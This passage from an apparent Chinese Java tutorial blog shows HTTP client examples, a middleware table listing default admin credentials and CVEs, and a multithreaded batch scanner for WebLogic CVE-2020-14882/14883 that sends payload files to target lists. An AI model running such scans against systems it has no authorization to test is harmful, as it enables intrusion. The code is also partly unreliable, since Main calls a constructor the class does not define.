        //Proxy proxy=new Proxy(Proxy.Type.HTTP,new InetSocketAddress("127.0.0.1",8080));
        //HttpURLConnection conn=(HttpURLConnection) url.openConnection(proxy);
        HttpURLConnection conn=(HttpURLConnection) url.openConnection();
        conn.setConnectTimeout(100);
        conn.setReadTimeout(1500);
        conn.setDoInput(true);
        conn.setDoOutput(false);
        conn.setRequestMethod("GET");
        conn.setRequestProperty("Accept","*/*");
        conn.setRequestProperty("User-Agent","Mozilla/5.0(WindowsNT 10.0;Win64;x64;rv:87.0)Gecko/20100101 Firefox/87.0");
        conn.setRequestProperty("Content-Type","text/html");
        //conn.setRequestProperty("Cookies","");
        conn.connect();
        if (null!=conn.getInputStream()){
            BufferedReader br=new BufferedReader(new InputStreamReader(conn.getInputStream(), StandardCharsets.UTF_8));
            String reader;
            while (null!=(reader=br.readLine())){
                System.out.println(reader);
            }
        }
        conn.disconnect();
    }
    /**
     * 此方法用jdk11的net.http包发起GET请求,与其他方法不同的是调用方式为链式调用,
     * 注释部分用于设置代理,cookie和上个方法一样可以直接添加到请求头header()里
     * 编程步骤:
     * 1.创建HttpClient实例,并设置共享属性
     * 2.创建请求对象HttpRequest,并设置单个请求的属性
     * 3.发送请求并接收响应  send()->HttpResponse<>
     * 4.处理响应内容  HttpResponse.BodyHandler<>
     */
    public static void httpClient() throws IOException, InterruptedException{
        HttpClient client=HttpClient.newBuilder()
                .version(HttpClient.Version.HTTP_1_1)
                .followRedirects(HttpClient.Redirect.NORMAL)
                .connectTimeout(Duration.ofSeconds(6))
                //.proxy(ProxySelector.of(new InetSocketAddress("127.0.0.1",8080)))
                .build();
        HttpRequest request=HttpRequest.newBuilder()
                .version(HttpClient.Version.HTTP_1_1)
                .header("Accept","*/*")
                .header("Content-Type","text/html")
                .header("User-Agent","Mozilla/5.0(WindowsNT 10.0;Win64;x64;rv:87.0)Gecko/20100101 Firefox/87.0")
                .uri(URI.create("http://www.baidu.com/"))
                .timeout(Duration.ofSeconds(5))
                .GET()
                .build();
        HttpResponse.BodyHandler<String> respBodyHandler = HttpResponse.BodyHandlers.ofString();
        HttpResponse<String> response=client.send(request,respBodyHandler);
        System.out.println(response.body());
    }
    /**
     * 这个方法使用了Apache的httpclient功能发起GET请求
     * 注释1:设置cookie;注释2:设置超时时间和代理;
     * 编程步骤:
     * 1.设置基本属性   cookieStore、reqConfig
     * 2.创建请求对象   httpClient
     * 3.设置请求属性   get
     * 4.发送请求并获取响应   response=httpClient.execute(get);
     * 5.处理响应数据   entity->is->br->line
     * 6.关闭连接      response.close()
     */
    public static void closeableHttpClient() throws IOException{
        /* 1.
        BasicCookieStore cookieStore = new BasicCookieStore();
        BasicClientCookie cookie = new BasicClientCookie("key","value");
        cookie.setDomain("/login/");
        cookie.setPath("/");
        cookieStore.addCookie(cookie);
         */
        /* 2.
        RequestConfig reqConfig = RequestConfig.custom()
                .setConnectTimeout(1000)
                .setConnectionRequestTimeout(1500)
                .setSocketTimeout(2000)
                .setProxy(new HttpHost("127.0.0.1",8080))
                .build();
         */
        CloseableHttpClient httpClient = HttpClients.custom()
                //.setDefaultCookieStore(cookieStore)  1.
                //.setDefaultRequestConfig(reqConfig)  2.
                .build();
        HttpGet get = new HttpGet("http://www.baidu.com/");
        get.addHeader("Accept","*/*");
        get.addHeader("User-Agent","Mozilla/5.0(WindowsNT 10.0;Win64;x64;rv:87.0)Gecko/20100101 Firefox/87.0");
        get.addHeader("Content-Type","text/html");
        CloseableHttpResponse response = httpClient.execute(get);
        if (response.getStatusLine().getStatusCode()==200){
            HttpEntity entity=response.getEntity();
            InputStream is = entity.getContent();
            BufferedReader br = new BufferedReader(new InputStreamReader(is));
            String line;
            while ((line=br.readLine())!=null){System.out.println(line);}
        }
        response.close();
    }
    /**
     * 此方法用spring框架的RestTemplate工具构造并发起GET请求,
     * 注释部分分别是cookie设置和代理设置,其中代理设置调用了net包的Proxy类。
     * 编程步骤:
     * 1.设置请求头、cookie            方法:HttpHeaders
     * 2.设置请求属性(代理、超时时间等) 方法:SimpleClientHttpRequestFactory
     * 3.发送请求并获取响应            方法:rt.exchange()
     * 4.处理响应数据                方法:System.out.println()
     */
    public static void restTemplate_1(){
        HttpHeaders headers = new HttpHeaders();
        headers.add("Accept","*/*");
        headers.add("Content-Type","text-html");
        headers.set("User-Agent","Mozilla/5.0(WindowsNT 10.0;Win64;x64;rv:87.0)Gecko/20100101 Firefox/87.0");
        List<String> cookies = new ArrayList<>();
        cookies.add("SESSIONID=123456");
        //headers.put(HttpHeaders.COOKIE,cookies); // 设置cookie
        SimpleClientHttpRequestFactory reqfac = new SimpleClientHttpRequestFactory();
        //reqfac.setProxy(new Proxy(Proxy.Type.HTTP,new InetSocketAddress("127.0.0.1",8080))); // 设置代理
        reqfac.setConnectTimeout(1500);
        reqfac.setReadTimeout(1000);
        RestTemplate rt = new RestTemplate();
        HttpEntity<String> response = rt.exchange("https://www.baidu.com",
                HttpMethod.GET,
                new HttpEntity<>(null,headers),
                String.class);
        System.out.println(response);
    }
    /**
     * 此方法用spring框架的RestTemplate工具构造并发起GET请求,
     * 注释部分分别是cookie设置和代理设置,其中代理设置调用了net包的Proxy类。
     * 和restTemplate_1()不同的是这个方法用拦截器设置请求头,实现了请求头的复用。
     * 编程步骤:
     * 1.用拦截器设置请求头、cookie       方法:ClientHttpRequestInterceptor、ArrayList<>()->RestTemplate
     * 2.设置请求属性(代理、超时时间等) 方法:SimpleClientHttpRequestFactory
     * 3.发送请求并获取响应  方法:response=rt.getForEntity()
     * 4.处理响应数据       方法:System.out.println()
     */
    public static void restTemplate_2(){
        List<String> cookies = new ArrayList<>();
        cookies.add("SESSIONID=123456");
        ClientHttpRequestInterceptor interceptor = (httpRequest, bytes, execution) -> {
            httpRequest.getHeaders().set("User-Agent","Mozilla/5.0(WindowsNT 10.0;Win64;x64;rv:87.0)Gecko/20100101 Firefox/87.0");
            httpRequest.getHeaders().set("Content-Type","text-html");
            //httpRequest.getHeaders().put(HttpHeaders.COOKIE,cookies); // 设置cookie
            return execution.execute(httpRequest,bytes);
        };
        SimpleClientHttpRequestFactory reqfac = new SimpleClientHttpRequestFactory();
        //reqfac.setProxy(new Proxy(Proxy.Type.HTTP,new InetSocketAddress("127.0.0.1",8080))); // 设置代理
        reqfac.setConnectTimeout(1500);
        reqfac.setReadTimeout(1000);
        RestTemplate rt = new RestTemplate();
        rt.getInterceptors().add(interceptor); // 添加拦截器
        rt.setRequestFactory(reqfac);
        HttpEntity<String> response = rt.getForEntity("https://www.baidu.com",String.class);
        System.out.println(response);
    }
    public static void main(String[] args) throws IOException,InterruptedException{
        //httpURLConnection();
        //httpClient();
        //closeableHttpClient();
        //restTemplate_1();
        //restTemplate_2();
    }
}
服务端

在 Java 中,http 服务器也符合标准 B/S 架构的设计方案,在底层实现上也是基于 java.net.Socket 和 java.net.ServerSocket 实现,符合 HTTP 基于 TCP 的原理。程序的执行步骤大致可以分为下面几步:

  1. 创建一个ServerSocket对象;
  2. 调用accept()阻塞等待连接;
  3. 从Socket对象中获取InputStream和OutputStream字节流,这两个流分别对应request请求和response响应;
  4. 处理响应;
  5. 关闭response对象;
  6. 调用accept(),继续等待连接请求;

目前比较流行的兼容 JSP/Servlet 的服务器有 Tomcat、Resin、JBoss、WebSphere、WebLogic,直接使用这些服务器比自己编写要好很多,我们直接把服务端功能写好然后将代码放进这些容器里面就可以使用了。至于代码编写,现在 Java-Web 已经发展的非常成熟,各种各样的框架都能够实现 http 的所有功能,直接使用框架开发比自己写路由+处理器要快很多。
这里就用这些常见中间件的特点来代替代码了:

特点TomcatResinWebSphereJBossWebLogic
下载地址tomcatresinwebsphere(需要登录IBM账户)jbossweblogic
内存、硬盘空间占用情况
EJB容器××
集群部署×
扩展性一般
是否收费×××
性能监控××OneAPM Java探针SUMOneAPM Java探针
默认管理端口80806800904380807001
默认账户/密码默认不开启管理功能resin/adminwebsphere/adminWeblogic10+安装后由用户创建
重大漏洞cve-2020-1938;cve-2020-9484;cve-2021-24122;cve-2021-25329任意文件读取cve-2020-4450;cve-2020-4276;cve-2020-4362;cve-2020-4643;cve-2021-20353cve-2020-14384;cve-2021-20250;cve-2020-35510cve-2020-2551;cve-2020-14625;cve–2020-14882;cve-2020-14883;cve-2021-2109

多线程应用&常见问题

在服务端,各种 cms 框架已经实现了多线程和并发处理,而对于客户端,使用 jdk11 的 HttpClient 线程池也可以实现并发 http 请求,线程问题上在底层都实现了解决方案,可以说技术已经非常成熟和完善了。
在 java 的数据传输中有一种机制叫序列化,就是将对象数据转换成二进制字节流在网络的各个节点中传输,到达目标主机后再进行反序列化把字节流转换回 java 对象,这种机制能使对象脱离程序独立存在,大大的方便了数据的传输。
而反序列化漏洞就是基于这种功能实现的,通过 Java 的反射机制绕过代码本身的静态检查及类型约束,在运行的时候直接修改目标对象的属性和状态,最终导致远程命令执行。
下面实例将基于 CVE-2020-14882 和 CVE-2020-14883 漏洞构造请求,实现批量检测:
main类:

import app.Customer;
import java.io.IOException;
import java.io.File;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.FileInputStream;
import java.nio.charset.Charset;
import java.util.Map;
import java.util.Scanner;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

/**
 * 本工具基于jdk1.8,能在windows/linux/类unix下运行;
 * 这是本工具的启动类,通过文件读取目标站点地址,用newFixedThreadPool对每个地址分发一个线程进行检测;
 * 字典应当与本工具同一目录下,输入文件全名即可;
 * 默认编码为UTF-8,如有需求,请自行更改;
 */
public class Main {
    public static Map<String,String> getPayloadList(String path) throws IOException{
        Map<String,String> data = new ConcurrentHashMap<>();
        String line;
        File file = new File(path+"lists.txt");
        InputStreamReader ir = new InputStreamReader(new FileInputStream(file), Charset.forName("UTF8"));
        BufferedReader br = new BufferedReader(ir);
        while ((line = br.readLine()) != null){
            String[] tmp = line.split(" ");
            data.put(tmp[0],tmp[1]);
        }
        return data;
    }
    public static void main(String[] args) throws IOException{
        String path,tpath,lines;
        File file;
        String os = System.getProperty("os.name").toLowerCase();
        ExecutorService pool = Executors.newFixedThreadPool(Runtime.getRuntime().availableProcessors()*2);
        Scanner sc = new Scanner(System.in);
        while (true){
            System.out.print("请输入URL字典:");
            String fname = sc.nextLine();
            if (os.equals("windows")){
                path = System.getProperty("user.dir")+"\\";
                tpath = System.getProperty("user.dir")+"\\"+fname;
            }
            else {
                path = System.getProperty("user.dir")+"/";
                tpath = System.getProperty("user.dir")+"/"+fname;
            }
            Map<String,String> list = getPayloadList(path);
            file = new File(tpath);
            if (!file.exists() || !file.isFile()){System.out.println("[ERROR]字典未找到!!!");continue;}
            InputStreamReader read = new InputStreamReader(new FileInputStream(file), Charset.forName("UTF8"));
            BufferedReader reader = new BufferedReader(read);
            while ((lines = reader.readLine()) != null){
                pool.execute(new Customer(lines,list));
            }
            pool.shutdown();
            break;
        }
    }
}

线程实现类:

import java.io.*;
import java.net.URL;
import java.net.Socket;
import java.net.HttpURLConnection;
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;

/**
 * 这是一个WebLogic漏洞检测工具的实例,通过构造get请求验证漏洞,或用socket将payload发送到服务器运行,从而验证漏洞;
 * 通过实现Runnable,在并发模式下发送批量请求,在子线程下为每个漏洞编号创建一个新线程进行检测,提高运行效率;
 * 请求构造方法上选择了jdk1.8的HttpURLConnection;
 * 程序结构:
 * Customer
 * |----Customer()        构造方法,使其从main接收目标和CVE-List;
 * |----run()             线程主执行方法,为cveList中的每个元素都创建一个线程(POCsender)进行验证,
 * |                      并且将新开的线程加入线程组CountDownLatch,在所有漏洞测完(latch=0)后输出测试结束;
 * |----getPayloadList()  有时候验证一个漏洞需要发送多个payload,这个方法就是为了将这些payload分开发送,并且支持以"#"开头的行作为注释跳过;
 * |----httpClient()      用于构造http请求;
 * |----sockSender()      用于发送socket信息;
 * |----POCsender           这是一个子线程类,用于为每个cve发送请求并进行验证;
 *      |----POCsender()    构造方法,接收要检测的漏洞编号和计数器对象;
 *      |----run()          子线程类的主执行方法,通过payload判断发送哪种请求,并根据回显进行判断,执行完后计数器-1;
 */
public class Customer implements Runnable{

    private final String target;
    private final List<String> cveList;
    private final String payloadPath;
    private static final String[] ua = {"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/14.04.6 Chrome/81.0.3990.0 Safari/537.36",
                                 "Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
                                 "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36",
                                 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0",
                                 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4482.0 Safari/537.36 Edg/92.0.874.0",
                                 "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15",
                                 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.3538.77 Safari/537.36",
                                 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0",
                                 "Mozilla/5.0 (Linux; Android 6.0.1; NEO-U9-H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Safari/537.36 OPR/63.3.3216.58675",
                                 "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.91 Mobile Safari/537.36",};
    public Customer(String target,List<String> cveList,String payloadPath){
        this.target = target;
        this.cveList = cveList;
        this.payloadPath = payloadPath;
    }
    public void run(){
        try{
            CountDownLatch latch = new CountDownLatch(cveList.size());
            System.out.println("--------------- 开始测试"+target+" ---------------");
            cveList.forEach((cve)-> new POCsender(cve,latch).start());
            latch.await();
            System.out.println("------------------------- 测试结束 -------------------------");
        }catch (InterruptedException ignored){}
    }
    public class POCsender extends Thread{
        private final CountDownLatch l;
        private final String cveCode;
        private String result = "1";
        private HttpURLConnection connection;
        public POCsender(String cveCode,CountDownLatch l){
            this.cveCode = cveCode;
            this.l = l;
        }
        public void run(){
            try{
                String payloadFilePath = payloadPath + cveCode.toUpperCase();
                getPayloadList(payloadFilePath).forEach((payload)-> {
                    //HTTP-GET验证
                    if (payload.startsWith("/")){connection = httpClient(target,payload);}
                    //socket验证
                    else {result = sockSender(payload);}
                });
                //对结果进行判断
                if (result == null){System.out.println("[ERROR]"+target+"测试"+cveCode+" 连接出错!!!");}
                else if (connection.getResponseCode() == 200 ||
                        Pattern.matches("\\$Proxy[0-9]+",result) ||
                        Pattern.matches("GIOP",result)){
                    System.out.println("[+]"+target+" 存在 "+cveCode);
                }
                else {System.out.println("[-]"+target+" 不存在 "+cveCode);}
            }catch (IOException ignored){}
            l.countDown();
        }
    }
    public static List<String> getPayloadList(String fpath){
        String payload;
        List<String> payloadList = new ArrayList<>();
        try{
            File payload_file = new File(fpath);
            if (!payload_file.exists() || !payload_file.isFile()){System.out.println("[ERROR]payload文件未找到!!!");}
            InputStreamReader read = new InputStreamReader(new FileInputStream(payload_file), Charset.forName("UTF8"));
            BufferedReader reader = new BufferedReader(read);
            while ((payload = reader.readLine()) != null){
                if (payload.startsWith("#")){continue;}
                payloadList.add(payload);
            }
        }catch (IOException ignored){}
        return payloadList;
    }
    public static HttpURLConnection httpClient(String tar,String param) {
        try{
            HttpURLConnection conn = (HttpURLConnection) new URL(tar+param).openConnection();
            conn.setConnectTimeout(100);
            conn.setReadTimeout(3000);
            conn.setDoInput(true);
            conn.setUseCaches(false);
            conn.setRequestMethod("GET");
            conn.setRequestProperty("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
            conn.setRequestProperty("Accept-Language","zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
            conn.setRequestProperty("Accept-Encoding","gzip, deflate");
            conn.setRequestProperty("Connection","close");
            conn.setRequestProperty("Upgrade-Insecure-Requests","1");
            conn.setRequestProperty("User-Agent",ua[(int)(Math.random()*ua.length)]);
            conn.connect();
            if (conn.getInputStream() != null){
                return conn;
            }
        }catch (IOException ignored){}
        return null;
    }
    public String sockSender(String data){
        try{
            String[] addr = target.split("://")[1].split(":");
            Socket socket = new Socket(addr[0],Integer.parseInt(addr[1]));
            OutputStream op = socket.getOutputStream();
            InputStreamReader ir = new InputStreamReader(socket.getInputStream());
            op.write(data.getBytes(StandardCharsets.UTF_8));
            op.flush();
            op.close();
            TimeUnit.SECONDS.sleep(3);  //sleep 3秒等待服务端响应
            String tmp;
            BufferedReader br = new BufferedReader(ir);
            while ((tmp = br.readLine()) != null){
                data += tmp;
            }
            return data;
        }catch (IOException | InterruptedException ignored){}
        return null;
    }
}

如果有不对的地方,还请各位大佬指出 ^ _ ^


相关文章:
Socket 编程原理
Golang socket编程
Python socket编程
PHP socket编程

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值